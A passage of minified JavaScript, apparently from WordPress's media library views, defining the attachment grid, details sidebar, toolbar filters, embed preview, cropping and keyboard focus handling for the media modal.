i=this.options.selection,s=this.controller;!i||e&&e!==i||this.$el.hasClass("selected")||(this.$el.addClass("selected").attr("aria-checked",!0),s.isModeActive("grid")&&s.isModeActive("select")||this.$(".check").attr("tabindex","0"))},deselect:function(t,e){var i=this.options.selection;!i||e&&e!==i||this.$el.removeClass("selected").attr("aria-checked",!1).find(".check").attr("tabindex","-1")},details:function(t,e){var i=this.options.selection;i===e&&(e=i.single(),this.$el.toggleClass("details",e===this.model))},imageSize:function(t){var e=this.model.get("sizes"),i=!1;return t=t||"medium",e&&(e[t]?i=e[t]:e.large?i=e.large:e.thumbnail?i=e.thumbnail:e.full&&(i=e.full),i)?_.clone(i):{url:this.model.get("url"),width:this.model.get("width"),height:this.model.get("height"),orientation:this.model.get("orientation")}},updateSetting:function(t){var e=o(t.target).closest("[data-setting]");e.length&&(e=e.data("setting"),t=t.target.value,this.model.get(e)!==t&&this.save(e,t))},save:function(){var t=this,e=this._save=this._save||{status:"ready"},i=this.model.save.apply(this.model,arguments),s=e.requests?o.when(i,e.requests):i;e.savedTimer&&clearTimeout(e.savedTimer),this.updateSave("waiting"),(e.requests=s).always(function(){e.requests===s&&(t.updateSave("resolved"===s.state()?"complete":"error"),e.savedTimer=setTimeout(function(){t.updateSave("ready"),delete e.savedTimer},2e3))})},updateSave:function(t){var e=this._save=this._save||{status:"ready"};return t&&t!==e.status&&(this.$el.removeClass("save-"+e.status),e.status=t),this.$el.addClass("save-"+e.status),this},updateAll:function(){var t=this.$("[data-setting]"),i=this.model,t=_.chain(t).map(function(t){var e=o("input, textarea, select, [value]",t);if(e.length)return t=o(t).data("setting"),e=e.val(),i.get(t)!==e?[t,e]:void 0}).compact().object().value();_.isEmpty(t)||i.save(t)},removeFromLibrary:function(t){"keydown"===t.type&&13!==t.keyCode&&32!==t.keyCode||(t.stopPropagation(),this.collection.remove(this.model))},checkClickHandler:function(t){var e=this.options.selection;e&&(t.stopPropagation(),e.where({id:this.model.get("id")}).length?(e.remove(this.model),this.$el.focus()):e.add(this.model),this.controller.trigger("selection:toggle"))}});_.each({caption:"_syncCaption",title:"_syncTitle",artist:"_syncArtist",album:"_syncAlbum"},function(t,s){i.prototype[t]=function(t,e){var i=this.$('[data-setting="'+s+'"]');return!i.length||e===i.find("input, textarea, select, [value]").val()?this:this.render()}}),t.exports=i},7274:function(t){var e=wp.media.view.Attachment,i=wp.media.view.l10n,o=jQuery,n=wp.i18n.__,s=e.extend({tagName:"div",className:"attachment-details",template:wp.template("attachment-details"),attributes:{},events:{"change [data-setting]":"updateSetting","change [data-setting] input":"updateSetting","change [data-setting] select":"updateSetting","change [data-setting] textarea":"updateSetting","click .delete-attachment":"deleteAttachment","click .trash-attachment":"trashAttachment","click .untrash-attachment":"untrashAttachment","click .edit-attachment":"editAttachment",keydown:"toggleSelectionHandler"},copyAttachmentDetailsURLClipboard:function(){var s;new ClipboardJS(".copy-attachment-url").on("success",function(t){var e=o(t.trigger),i=o(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),e.trigger("focus"),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(n("The file URL has been copied to your clipboard"))})},initialize:function(){this.options=_.defaults(this.options,{rerenderOnModelChange:!1}),e.prototype.initialize.apply(this,arguments),this.copyAttachmentDetailsURLClipboard()},getFocusableElements:function(){var t=o('li[data-id="'+this.model.id+'"]');this.previousAttachment=t.prev(),this.nextAttachment=t.next()},moveFocus:function(){this.previousAttachment.length?this.previousAttachment.trigger("focus"):this.nextAttachment.length?this.nextAttachment.trigger("focus"):this.controller.uploader&&this.controller.uploader.$browser?this.controller.uploader.$browser.trigger("focus"):this.moveFocusToLastFallback()},moveFocusToLastFallback:function(){o(".media-frame").attr("tabindex","-1").trigger("focus")},deleteAttachment:function(t){t.preventDefault(),this.getFocusableElements(),window.confirm(i.warnDelete)&&(this.model.destroy({wait:!0,error:function(){window.alert(i.errorDeleting)}}),this.moveFocus())},trashAttachment:function(t){var e=this.controller.library,i=this;t.preventDefault(),this.getFocusableElements(),wp.media.view.settings.mediaTrash&&"edit-metadata"===this.controller.content.mode()?(this.model.set("status","trash"),this.model.save().done(function(){e._requery(!0),i.moveFocusToLastFallback()})):(this.model.destroy(),this.moveFocus())},untrashAttachment:function(t){var e=this.controller.library;t.preventDefault(),this.model.set("status","inherit"),this.model.save().done(function(){e._requery(!0)})},editAttachment:function(t){var e=this.controller.states.get("edit-image");window.imageEdit&&e?(t.preventDefault(),e.set("image",this.model),this.controller.setState("edit-image")):this.$el.addClass("needs-refresh")},toggleSelectionHandler:function(t){if("keydown"===t.type&&9===t.keyCode&&t.shiftKey&&t.target===this.$(":tabbable").get(0))return this.controller.trigger("attachment:details:shift-tab",t),!1},render:function(){e.prototype.render.apply(this,arguments),wp.media.mixin.removeAllPlayers(),this.$("audio, video").each(function(t,e){e=wp.media.view.MediaDetails.prepareSrc(e);new window.MediaElementPlayer(e,wp.media.mixin.mejsSettings)})}});t.exports=s},4640:function(t){var e=wp.media.view.Attachment.extend({buttons:{close:!0}});t.exports=e},1009:function(t){var e=wp.media.view.Attachment.Selection.extend({buttons:{close:!0}});t.exports=e},9254:function(t){var e=wp.media.view.Attachment.extend({buttons:{check:!0}});t.exports=e},9003:function(t){var e=wp.media.view.Attachment.extend({className:"attachment selection",toggleSelection:function(){this.options.selection.single(this.model)}});t.exports=e},8408:function(t){var e=wp.media.View,n=jQuery,i=wp.media.view.settings.infiniteScrolling,s=e.extend({tagName:"ul",className:"attachments",attributes:{tabIndex:-1},initialize:function(){this.el.id=_.uniqueId("__attachments-view-"),_.defaults(this.options,{infiniteScrolling:i||!1,refreshSensitivity:wp.media.isTouchDevice?300:200,refreshThreshold:3,AttachmentView:wp.media.view.Attachment,sortable:!1,resize:!0,idealColumnWidth:n(window).width()<640?135:150}),this._viewsByCid={},this.$window=n(window),this.resizeEvent="resize.media-modal-columns",this.collection.on("add",function(t){this.views.add(this.createAttachmentView(t),{at:this.collection.indexOf(t)})},this),this.collection.on("remove",function(t){var e=this._viewsByCid[t.cid];delete this._viewsByCid[t.cid],e&&e.remove()},this),this.collection.on("reset",this.render,this),this.controller.on("library:selection:add",this.attachmentFocus,this),this.options.infiniteScrolling&&(this.scroll=_.chain(this.scroll).bind(this).throttle(this.options.refreshSensitivity).value(),this.options.scrollElement=this.options.scrollElement||this.el,n(this.options.scrollElement).on("scroll",this.scroll)),this.initSortable(),_.bindAll(this,"setColumns"),this.options.resize&&(this.on("ready",this.bindEvents),this.controller.on("open",this.setColumns),_.defer(this.setColumns,this))},bindEvents:function(){this.$window.off(this.resizeEvent).on(this.resizeEvent,_.debounce(this.setColumns,50))},attachmentFocus:function(){this.columns&&this.$el.focus()},restoreFocus:function(){this.$("li.selected:first").focus()},arrowEvent:function(t){var e=this.$el.children("li"),i=this.columns,s=e.filter(":focus").index(),o=s+1<=i?1:Math.ceil((s+1)/i);if(-1!==s){if(37===t.keyCode){if(0===s)return;e.eq(s-1).focus()}if(38===t.keyCode){if(1===o)return;e.eq(s-i).focus()}if(39===t.keyCode){if(e.length===s)return;e.eq(s+1).focus()}40===t.keyCode&&Math.ceil(e.length/i)!==o&&e.eq(s+i).focus()}},dispose:function(){this.collection.props.off(null,null,this),this.options.resize&&this.$window.off(this.resizeEvent),e.prototype.dispose.apply(this,arguments)},setColumns:function(){var t=this.columns,e=this.$el.width();e&&(this.columns=Math.min(Math.round(e/this.options.idealColumnWidth),12)||1,t&&t===this.columns||this.$el.closest(".media-frame-content").attr("data-columns",this.columns))},initSortable:function(){var o=this.collection;this.options.sortable&&n.fn.sortable&&(this.$el.sortable(_.extend({disabled:!!o.comparator,tolerance:"pointer",start:function(t,e){e.item.data("sortableIndexStart",e.item.index())},update:function(t,e){var i=o.at(e.item.data("sortableIndexStart")),s=o.comparator;delete o.comparator,o.remove(i,{silent:!0}),o.add(i,{silent:!0,at:e.item.index()}),o.comparator=s,o.trigger("reset",o),o.saveMenuOrder()}},this.options.sortable)),o.props.on("change:orderby",function(){this.$el.sortable("option","disabled",!!o.comparator)},this),this.collection.props.on("change:orderby",this.refreshSortable,this),this.refreshSortable())},refreshSortable:function(){var t;this.options.sortable&&n.fn.sortable&&(t="menuOrder"===(t=this.collection).props.get("orderby")||!t.comparator,this.$el.sortable("option","disabled",!t))},createAttachmentView:function(t){var e=new this.options.AttachmentView({controller:this.controller,model:t,collection:this.collection,selection:this.options.selection});return this._viewsByCid[t.cid]=e},prepare:function(){this.collection.length?this.views.set(this.collection.map(this.createAttachmentView,this)):(this.views.unset(),this.options.infiniteScrolling&&this.collection.more().done(this.scroll))},ready:function(){this.options.infiniteScrolling&&this.scroll()},scroll:function(){var t,e=this,i=this.options.scrollElement,s=i.scrollTop;i===document&&(i=document.body,s=n(document).scrollTop()),n(i).is(":visible")&&this.collection.hasMore()&&(t=this.views.parent.toolbar,i.scrollHeight-(s+i.clientHeight)<i.clientHeight/3&&t.get("spinner").show(),i.scrollHeight<s+i.clientHeight*this.options.refreshThreshold&&this.collection.more().done(function(){e.scroll(),t.get("spinner").hide()}))}});t.exports=s},9239:function(t){var s=wp.media.View,o=wp.media.view.settings.mediaTrash,n=wp.media.view.l10n,a=jQuery,i=wp.media.view.settings.infiniteScrolling,r=wp.i18n.__,e=wp.i18n.sprintf,l=s.extend({tagName:"div",className:"attachments-browser",initialize:function(){_.defaults(this.options,{filters:!1,search:!0,date:!0,display:!1,sidebar:!0,AttachmentView:wp.media.view.Attachment.Library}),this.controller.on("toggle:upload:attachment",this.toggleUploader,this),this.controller.on("edit:selection",this.editSelection),this.options.sidebar&&"errors"===this.options.sidebar&&this.createSidebar(),this.controller.isModeActive("grid")?(this.createUploader(),this.createToolbar()):(this.createToolbar(),this.createUploader()),this.createAttachmentsHeading(),this.createAttachmentsWrapperView(),i||(this.$el.addClass("has-load-more"),this.createLoadMoreView()),this.options.sidebar&&"errors"!==this.options.sidebar&&this.createSidebar(),this.updateContent(),i||this.updateLoadMoreView(),this.options.sidebar&&"errors"!==this.options.sidebar||(this.$el.addClass("hide-sidebar"),"errors"===this.options.sidebar&&this.$el.addClass("sidebar-for-errors")),this.collection.on("add remove reset",this.updateContent,this),i||this.collection.on("add remove reset",this.updateLoadMoreView,this),this.collection.on("attachments:received",this.announceSearchResults,this)},announceSearchResults:_.debounce(function(){var t,e=r("Number of media items displayed: %d. Click load more for more results.");i&&(e=r("Number of media items displayed: %d. Scroll the page for more results.")),this.collection.mirroring&&this.collection.mirroring.args.s&&(0===(t=this.collection.length)?wp.a11y.speak(n.noMediaTryNewSearch):this.collection.hasMore()?wp.a11y.speak(e.replace("%d",t)):wp.a11y.speak(n.mediaFound.replace("%d",t)))},200),editSelection:function(t){t.$(".media-button-backToLibrary").focus()},dispose:function(){return this.options.selection.off(null,null,this),s.prototype.dispose.apply(this,arguments),this},createToolbar:function(){var t,e=-1!==a.inArray(this.options.filters,["uploaded","all"]),i={controller:this.controller};this.controller.isModeActive("grid")&&(i.className="media-toolbar wp-filter"),this.toolbar=new wp.media.view.Toolbar(i),this.views.add(this.toolbar),this.toolbar.set("spinner",new wp.media.view.Spinner({priority:-20})),(e||this.options.date)&&this.toolbar.set("filters-heading",new wp.media.view.Heading({priority:-100,text:n.filterAttachments,level:"h2",className:"media-attachments-filter-heading"}).render()),e&&(this.toolbar.set("filtersLabel",new wp.media.view.Label({value:n.filterByType,attributes:{for:"media-attachment-filters"},priority:-80}).render()),"uploaded"===this.options.filters?this.toolbar.set("filters",new wp.media.view.AttachmentFilters.Uploaded({controller:this.controller,model:this.collection.props,priority:-80}).render()):(t=new wp.media.view.AttachmentFilters.All({controller:this.controller,model:this.collection.props,priority:-80}),this.toolbar.set("filters",t.render()))),this.controller.isModeActive("grid")?(i=s.extend({className:"view-switch media-grid-view-switch",template:wp.template("media-library-view-switcher")}),this.toolbar.set("libraryViewSwitcher",new i({controller:this.controller,priority:-90}).render()),this.toolbar.set("dateFilterLabel",new wp.media.view.Label({value:n.filterByDate,attributes:{for:"media-attachment-date-filters"},priority:-75}).render()),this.toolbar.set("dateFilter",new wp.media.view.DateFilter({controller:this.controller,model:this.collection.props,priority:-75}).render()),this.toolbar.set("selectModeToggleButton",new wp.media.view.SelectModeToggleButton({text:n.bulkSelect,controller:this.controller,priority:-70}).render()),this.toolbar.set("deleteSelectedButton",new wp.media.view.DeleteSelectedButton({filters:t,style:"primary",disabled:!0,text:o?n.trashSelected:n.deletePermanently,controller:this.controller,priority:-80,click:function(){var e=[],i=[],t=this.controller.state().get("selection"),s=this.controller.state().get("library");!t.length||!o&&!window.confirm(n.warnBulkDelete)||o&&"trash"!==t.at(0).get("status")&&!window.confirm(n.warnBulkTrash)||(t.each(function(t){t.get("nonces").delete?o&&"trash"===t.get("status")?(t.set("status","inherit"),e.push(t.save()),i.push(t)):o?(t.set("status","trash"),e.push(t.save()),i.push(t)):t.destroy({wait:!0}):i.push(t)}),e.length?(t.remove(i),a.when.apply(null,e).then(_.bind(function(){s._requery(!0),this.controller.trigger("selection:action:done")},this))):this.controller.trigger("selection:action:done"))}}).render()),o&&this.toolbar.set("deleteSelectedPermanentlyButton",new wp.media.view.DeleteSelectedPermanentlyButton({filters:t,style:"link button-link-delete",disabled:!0,text:n.deletePermanently,controller:this.controller,priority:-55,click:function(){var e=[],i=[],t=this.controller.state().get("selection");t.length&&window.confirm(n.warnBulkDelete)&&(t.each(function(t){(t.get("nonces").delete?i:e).push(t)}),e.length&&t.remove(e),i.length&&a.when.apply(null,i.map(function(t){return t.destroy()})).then(_.bind(function(){this.controller.trigger("selection:action:done")},this)))}}).render())):this.options.date&&(this.toolbar.set("dateFilterLabel",new wp.media.view.Label({value:n.filterByDate,attributes:{for:"media-attachment-date-filters"},priority:-75}).render()),this.toolbar.set("dateFilter",new wp.media.view.DateFilter({controller:this.controller,model:this.collection.props,priority:-75}).render())),this.options.search&&(this.toolbar.set("searchLabel",new wp.media.view.Label({value:n.searchLabel,className:"media-search-input-label",attributes:{for:"media-search-input"},priority:60}).render()),this.toolbar.set("search",new wp.media.view.Search({controller:this.controller,model:this.collection.props,priority:60}).render())),this.options.dragInfo&&this.toolbar.set("dragInfo",new s({el:a('<div class="instructions">'+n.dragInfo+"</div>")[0],priority:-40})),this.options.suggestedWidth&&this.options.suggestedHeight&&this.toolbar.set("suggestedDimensions",new s({el:a('<div class="instructions">'+n.suggestedDimensions.replace("%1$s",this.options.suggestedWidth).replace("%2$s",this.options.suggestedHeight)+"</div>")[0],priority:-40}))},updateContent:function(){var t=this,e=this.controller.isModeActive("grid")?t.attachmentsNoResults:t.uploader;this.collection.length?(e.$el.addClass("hidden"),t.toolbar.get("spinner").hide()):(this.toolbar.get("spinner").show(),this.dfd=this.collection.more().done(function(){t.collection.length?e.$el.addClass("hidden"):e.$el.removeClass("hidden"),t.toolbar.get("spinner").hide()}))},createUploader:function(){this.uploader=new wp.media.view.UploaderInline({controller:this.controller,status:!1,message:this.controller.isModeActive("grid")?"":n.noItemsFound,canClose:this.controller.isModeActive("grid")}),this.uploader.$el.addClass("hidden"),this.views.add(this.uploader)},toggleUploader:function(){this.uploader.$el.hasClass("hidden")?this.uploader.show():this.uploader.hide()},createAttachmentsWrapperView:function(){this.attachmentsWrapper=new wp.media.View({className:"attachments-wrapper"}),this.views.add(this.attachmentsWrapper),this.createAttachments()},createAttachments:function(){this.attachments=new wp.media.view.Attachments({controller:this.controller,collection:this.collection,selection:this.options.selection,model:this.model,sortable:this.options.sortable,scrollElement:this.options.scrollElement,idealColumnWidth:this.options.idealColumnWidth,AttachmentView:this.options.AttachmentView}),this.controller.on("attachment:keydown:arrow",_.bind(this.attachments.arrowEvent,this.attachments)),this.controller.on("attachment:details:shift-tab",_.bind(this.attachments.restoreFocus,this.attachments)),this.views.add(".attachments-wrapper",this.attachments),this.controller.isModeActive("grid")&&(this.attachmentsNoResults=new s({controller:this.controller,tagName:"p"}),this.attachmentsNoResults.$el.addClass("hidden no-media"),this.attachmentsNoResults.$el.html(n.noMedia),this.views.add(this.attachmentsNoResults))},createLoadMoreView:function(){var t=this;this.loadMoreWrapper=new s({controller:this.controller,className:"load-more-wrapper"}),this.loadMoreCount=new s({controller:this.controller,tagName:"p",className:"load-more-count hidden"}),this.loadMoreButton=new wp.media.view.Button({text:r("Load more"),className:"load-more hidden",style:"primary",size:"",click:function(){t.loadMoreAttachments()}}),this.loadMoreSpinner=new wp.media.view.Spinner,this.loadMoreJumpToFirst=new wp.media.view.Button({text:r("Jump to first loaded item"),className:"load-more-jump hidden",size:"",click:function(){t.jumpToFirstAddedItem()}}),this.views.add(".attachments-wrapper",this.loadMoreWrapper),this.views.add(".load-more-wrapper",this.loadMoreSpinner),this.views.add(".load-more-wrapper",this.loadMoreCount),this.views.add(".load-more-wrapper",this.loadMoreButton),this.views.add(".load-more-wrapper",this.loadMoreJumpToFirst)},updateLoadMoreView:_.debounce(function(){this.loadMoreButton.$el.addClass("hidden"),this.loadMoreCount.$el.addClass("hidden"),this.loadMoreJumpToFirst.$el.addClass("hidden").prop("disabled",!0),this.collection.getTotalAttachments()&&(this.collection.length&&(this.loadMoreCount.$el.text(e(r("Showing %1$s of %2$s media items"),this.collection.length,this.collection.getTotalAttachments())),this.loadMoreCount.$el.removeClass("hidden")),this.collection.hasMore()&&this.loadMoreButton.$el.removeClass("hidden"),this.firstAddedMediaItem=this.$el.find(".attachment").eq(this.firstAddedMediaItemIndex),this.firstAddedMediaItem.length&&(this.firstAddedMediaItem.addClass("new-media"),this.loadMoreJumpToFirst.$el.removeClass("hidden").prop("disabled",!1)),this.firstAddedMediaItem.length&&!this.collection.hasMore()&&this.loadMoreJumpToFirst.$el.trigger("focus"))},10),loadMoreAttachments:function(){var t=this;this.collection.hasMore()&&(this.firstAddedMediaItemIndex=this.collection.length,this.$el.addClass("more-loaded"),this.collection.each(function(t){t=t.attributes.id;a('[data-id="'+t+'"]').addClass("found-media")}),t.loadMoreSpinner.show(),this.collection.once("attachments:received",function(){t.loadMoreSpinner.hide()}),this.collection.more())},jumpToFirstAddedItem:function(){this.firstAddedMediaItem.focus()},createAttachmentsHeading:function(){this.attachmentsHeading=new wp.media.view.Heading({text:n.attachmentsList,level:"h2",className:"media-views-heading screen-reader-text"}),this.views.add(this.attachmentsHeading)},createSidebar:function(){var t=this.options.selection,e=this.sidebar=new wp.media.view.Sidebar({controller:this.controller});this.views.add(e),this.controller.uploader&&e.set("uploads",new wp.media.view.UploaderStatus({controller:this.controller,priority:40})),t.on("selection:single",this.createSingle,this),t.on("selection:unsingle",this.disposeSingle,this),t.single()&&this.createSingle()},createSingle:function(){var t=this.sidebar,e=this.options.selection.single();t.set("details",new wp.media.view.Attachment.Details({controller:this.controller,model:e,priority:80})),t.set("compat",new wp.media.view.AttachmentCompat({controller:this.controller,model:e,priority:120})),this.options.display&&t.set("display",new wp.media.view.Settings.AttachmentDisplay({controller:this.controller,model:this.model.display(e),attachment:e,priority:160,userSettings:this.model.get("displayUserSettings")})),"insert"===this.model.id&&t.$el.addClass("visible")},disposeSingle:function(){var t=this.sidebar;t.unset("details"),t.unset("compat"),t.unset("display"),t.$el.removeClass("visible")}});t.exports=l},1223:function(t){var e=wp.media.view.Attachments,i=e.extend({events:{},initialize:function(){return _.defaults(this.options,{sortable:!1,resize:!1,AttachmentView:wp.media.view.Attachment.Selection}),e.prototype.initialize.apply(this,arguments)}});t.exports=i},4094:function(t){var e=Backbone.$,i=wp.media.View.extend({tagName:"div",className:"button-group button-large media-button-group",initialize:function(){this.buttons=_.map(this.options.buttons||[],function(t){return t instanceof Backbone.View?t:new wp.media.view.Button(t).render()}),delete this.options.buttons,this.options.classes&&this.$el.addClass(this.options.classes)},render:function(){return this.$el.html(e(_.pluck(this.buttons,"el")).detach()),this}});t.exports=i},3157:function(t){var e=wp.media.View.extend({tagName:"button",className:"media-button",attributes:{type:"button"},events:{click:"click"},defaults:{text:"",style:"",size:"large",disabled:!1},initialize:function(){this.model=new Backbone.Model(this.defaults),_.each(this.defaults,function(t,e){var i=this.options[e];_.isUndefined(i)||(this.model.set(e,i),delete this.options[e])},this),this.listenTo(this.model,"change",this.render)},render:function(){var t=["button",this.className],e=this.model.toJSON();return e.style&&t.push("button-"+e.style),e.size&&t.push("button-"+e.size),t=_.uniq(t.concat(this.options.classes)),this.el.className=t.join(" "),this.$el.attr("disabled",e.disabled),this.$el.text(this.model.get("text")),this},click:function(t){"#"===this.attributes.href&&t.preventDefault(),this.options.click&&!this.model.get("disabled")&&this.options.click.apply(this,arguments)}});t.exports=e},7137:function(t){var e=wp.media.View,i=wp.media.view.UploaderStatus,s=wp.media.view.l10n,o=jQuery,n=e.extend({className:"crop-content",template:wp.template("crop-content"),initialize:function(){_.bindAll(this,"onImageLoad")},ready:function(){this.controller.frame.on("content:error:crop",this.onError,this),this.$image=this.$el.find(".crop-image"),this.$image.on("load",this.onImageLoad),o(window).on("resize.cropper",_.debounce(this.onImageLoad,250))},remove:function(){o(window).off("resize.cropper"),this.$el.remove(),this.$el.off(),e.prototype.remove.apply(this,arguments)},prepare:function(){return{title:s.cropYourImage,url:this.options.attachment.get("url")}},onImageLoad:function(){var i,t=this.controller.get("imgSelectOptions");"function"==typeof t&&(t=t(this.options.attachment,this.controller)),t=_.extend(t,{parent:this.$el,onInit:function(){var e=i.getOptions().aspectRatio;this.parent.children().on("mousedown touchstart",function(t){!e&&t.shiftKey&&i.setOptions({aspectRatio:"1:1"})}),this.parent.children().on("mouseup touchend",function(){i.setOptions({aspectRatio:e||!1})})}}),this.trigger("image-loaded"),i=this.controller.imgSelect=this.$image.imgAreaSelect(t)},onError:function(){var t=this.options.attachment.get("filename");this.views.add(".upload-errors",new wp.media.view.UploaderStatusError({filename:i.prototype.filename(t),message:window._wpMediaViewsL10n.cropError}),{at:0})}});t.exports=n},5970:function(t){var e=wp.media.View,i=e.extend({className:"image-editor",template:wp.template("image-editor"),initialize:function(t){this.editor=window.imageEdit,this.controller=t.controller,e.prototype.initialize.apply(this,arguments)},prepare:function(){return this.model.toJSON()},loadEditor:function(){this.editor.open(this.model.get("id"),this.model.get("nonces").edit,this)},back:function(){var t=this.controller.lastState();this.controller.setState(t)},refresh:function(){this.model.fetch()},save:function(){var t=this.controller.lastState();this.model.fetch().done(_.bind(function(){this.controller.setState(t)},this))}});t.exports=i},5138:function(t){var e=wp.media.View.extend({className:"media-embed",initialize:function(){this.url=new wp.media.view.EmbedUrl({controller:this.controller,model:this.model.props}).render(),this.views.set([this.url]),this.refresh(),this.listenTo(this.model,"change:type",this.refresh),this.listenTo(this.model,"change:loading",this.loading)},settings:function(t){this._settings&&this._settings.remove(),this._settings=t,this.views.add(t)},refresh:function(){var t,e=this.model.get("type");if("image"===e)t=wp.media.view.EmbedImage;else{if("link"!==e)return;t=wp.media.view.EmbedLink}this.settings(new t({controller:this.controller,model:this.model.props,priority:40}))},loading:function(){this.$el.toggleClass("embed-loading",this.model.get("loading"))}});t.exports=e},1338:function(t){var e=wp.media.view.Settings.AttachmentDisplay,i=e.extend({className:"embed-media-settings",template:wp.template("embed-image-settings"),initialize:function(){e.prototype.initialize.apply(this,arguments),this.listenTo(this.model,"change:url",this.updateImage)},updateImage:function(){this.$("img").attr("src",this.model.get("url"))}});t.exports=i},6959:function(t){var i=jQuery,e=wp.media.view.Settings.extend({className:"embed-link-settings",template:wp.template("embed-link-settings"),initialize:function(){this.listenTo(this.model,"change:url",this.updateoEmbed)},updateoEmbed:_.debounce(function(){var t=this.model.get("url");this.$(".embed-container").hide().find(".embed-preview").empty(),this.$(".setting").hide(),t&&(t.length<11||!t.match(/^http(s)?:\/\//))||this.fetch()},wp.media.controller.Embed.sensitivity),fetch:function(){var t,e=this.model.get("url");i("#embed-url-field").val()===e&&(this.dfd&&"pending"===this.dfd.state()&&this.dfd.abort(),(t=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(e))&&(e="https://www.youtube.com/watch?v="+t[1]),this.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:e,maxwidth:this.model.get("width"),maxheight:this.model.get("height")},type:"GET",dataType:"json",context:this}).done(function(t){this.renderoEmbed({data:{body:t.html||""}})}).fail(this.renderFail))},renderFail:function(t,e){"abort"!==e&&this.$(".link-text").show()},renderoEmbed:function(t){t=t&&t.data&&t.data.body||"";t?this.$(".embed-container").show().find(".embed-preview").html(t):this.renderFail()}});t.exports=e},4848:function(t){var e=wp.media.View,i=jQuery,s=wp.media.view.l10n,o=e.extend({tagName:"span",className:"embed-url",events:{input:"url"},initialize:function(){this.$input=i('<input id="embed-url-field" type="url" />').attr("aria-label",s.insertFromUrlTitle).val(this.model.get("url")),this.input=this.$input[0],this.spinner=i('<span class="spinner" />')[0],this.$el.append([this.input,this.spinner]),this.listenTo(this.model,"change:url",this.render),this.model.get("url")&&_.delay(_.bind(function(){this.model.trigger("change:url")},this),500)},render:function(){var t=this.$input;if(!t.is(":focus"))return this.input.value=this.model.get("url")||"http://",e.prototype.render.apply(this,arguments),this},url:function(t){t=t.target.value||"";this.model.set("url",t.trim())}});t.exports=o},6557:function(t){var o=jQuery,e=wp.media.View.extend({events:{keydown:"focusManagementMode"},initialize:function(t){this.mode=t.mode||"constrainTabbing",this.tabsAutomaticActivation=t.tabsAutomaticActivation||!1},focusManagementMode:function(t){"constrainTabbing"===this.mode&&this.constrainTabbing(t),"tabsNavigation"===this.mode&&this.tabsNavigation(t)},getTabbables:function(){return this.$(":tabbable").not('.moxie-shim input[type="file"]')},focus:function(){this.$(".media-modal").trigger("focus")},constrainTabbing:function(t){var e;if(9===t.keyCode)return(e=this.getTabbables()).last()[0]!==t.target||t.shiftKey?e.first()[0]===t.target&&t.shiftKey?(e.last().focus(),!1):void 0:(e.first().focus(),!1)},setAriaHiddenOnBodyChildren:function(e){var t,i=this;this.isBodyAriaHidden||(t=document.body.children,_.each(t,function(t){t!==e[0]&&i.elementShouldBeHidden(t)&&(t.setAttribute("aria-hidden","true"),i.ariaHiddenElements.push(t))}),this.isBodyAriaHidden=!0)},removeAriaHiddenFromBodyChildren:function(){_.each(this.ariaHiddenElements,function(t){t.removeAttribute("aria-hidden")}),this.ariaHiddenElements=[],this.isBodyAriaHidden=!1},elementShouldBeHidden:function(t){var e=t.getAttribute("role");return!("SCRIPT"===t.tagName||t.hasAttribute("aria-hidden")||t.hasAttribute("aria-live")||-1!==["alert","status","log","marquee","timer"].indexOf(e))},isBodyAriaHidden:!1,ariaHiddenElements:[],tabs:o(),setupAriaTabs:function(){this.tabs=this.$('[role="tab"]'),this.tabs.attr({"aria-selected":"false",tabIndex:"-1"}),this.tabs.filter(".active").removeAttr("tabindex").attr("aria-selected","true")},tabsNavigation:function(t){var e="horizontal";-1===[32,35,36,37,38,39,40].indexOf(t.which)||"horizontal"===(e="vertical"===this.$el.attr("aria-orientation")?"vertical":e)&&-1!==[38,40].indexOf(t.which)||"vertical"===e&&-1!==[37,39].indexOf(t.which)||this.switchTabs(t,this.tabs)},switchTabs:function(t){var e,i=t.which,s=this.tabs.index(o(t.target));switch(i){case 32:this.activateTab(this.tabs[s]);break;case 35:t.preventDefault(),this.activateTab(this.tabs[this.tabs.length-1]);break;case 36:t.preventDefault(),this.activateTab(this.tabs[0]);break;case 37:case 38:t.preventDefault(),e=s-1<0?this.tabs.length-1:s-1,this.activateTab(this.tabs[e]);break;case 39:case 40:t.preventDefault(),e=s+1===this.tabs.length?0:s+1,this.activateTab(this.tabs[e])}},activateTab:function(t){if(t){if(t.focus(),this.tabsAutomaticActivation)return t.removeAttribute("tabindex"),t.setAttribute("aria-selected","true"),void t.click();o(t).on("click",function(){t.removeAttribute("tabindex"),t.setAttribute("aria-selected","true")})}}});t.exports=e},3647:function(t){var e=wp.media.View.extend({initialize:function(){_.defaults(this.options,{mode:["select"]}),this._createRegions(),this._createStates(),this._createModes()},_createRegions:function(){this.regions=this.regions?this.regions.slice():[],_.each(this.regions,function(t){this[t]=new wp.media.controller.Region({view:this,id:t,selector:".media-frame-"+t})},this)},_createStates:function(){this.states=new Backbone.Collection(null,{model:wp.media.controller.State}),this.states.on("add",function(t){t.frame=this,t.trigger("ready")},this),this.options.states&&this.states.add(this.options.states)},_createModes:function(){this.activeModes=new Backbone.Collection,this.activeModes.on("add remove reset",_.bind(this.triggerModeEvents,this)),_.each(this.options.mode,function(t){this.activateMode(t)},this)},reset:function(){return this.states.invoke("trigger","reset"),this},triggerModeEvents:function(t,e,i){var s,o={add:"activate",remove:"deactivate"};_.each(i,function(t,e){t&&(s=e)}),_.has(o,s)&&(i=t.get("id")+":"+o[s],this.trigger(i))},activateMode:function(t){if(!this.isModeActive(t))return this.activeModes.add([{id:t}]),this.$el.addClass("mode-"+t),this},deactivateMode:function(t){return this.isModeActive(t)&&(this.activeModes.remove(this.activeModes.where({id:t})),this.$el.removeClass("mode-"+t),this.trigger(t+":deactivate")),this},isModeActive:function(t){return Boolean(this.activeModes.where({id:t}).length)}});_.extend(e.prototype,wp.media.controller.StateMachine.prototype),t.exports=e},9142:function(t){var e=wp.media.view.MediaFrame.Select,s=wp.media.view.l10n,i=e.extend({defaults:{id:"image",url:"",menu:"image-details",content:"image-details",toolbar:"image-details",type:"link",title:s.imageDetailsTitle,priority:120},initialize:function(t){this.image=new wp.media.model.PostImage(t.metadata),this.options.selection=new 